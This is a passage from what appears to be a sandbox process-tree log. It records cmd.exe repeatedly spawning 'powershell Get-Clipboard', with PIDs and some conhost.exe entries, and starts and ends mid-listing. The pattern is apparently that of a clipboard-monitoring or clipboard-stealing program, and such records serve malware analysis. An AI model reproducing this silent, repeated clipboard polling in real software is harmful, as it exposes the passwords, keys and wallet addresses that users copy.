- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4348
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6344
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3828
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6888
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5772
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5244
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:824
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5648
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:912
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2656
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7052
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6268
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5184
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2864
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2820
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3112
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6644
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5628
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:392
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6072
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6728
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5472
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4148
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5780
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4360
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5424
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4808
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5336
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6176
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7100
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5160
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
